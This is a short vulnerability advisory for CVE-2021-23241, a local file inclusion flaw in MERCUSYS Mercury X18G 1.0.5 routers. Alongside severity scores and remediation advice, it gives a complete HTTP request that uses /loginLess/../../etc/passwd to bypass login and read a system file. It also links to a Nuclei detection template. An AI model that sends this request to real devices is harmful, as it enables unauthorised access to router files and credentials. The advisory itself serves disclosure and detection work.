| Title | MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented. |
| CVSS Score | 5.3 |
| EPSS Score | 0.62713 |
| CVE ID | CVE-2021-23241 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve iot lfi router mercusys vuln |
MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
GET /loginLess/../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23241.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-23241.pcap
N/AN/A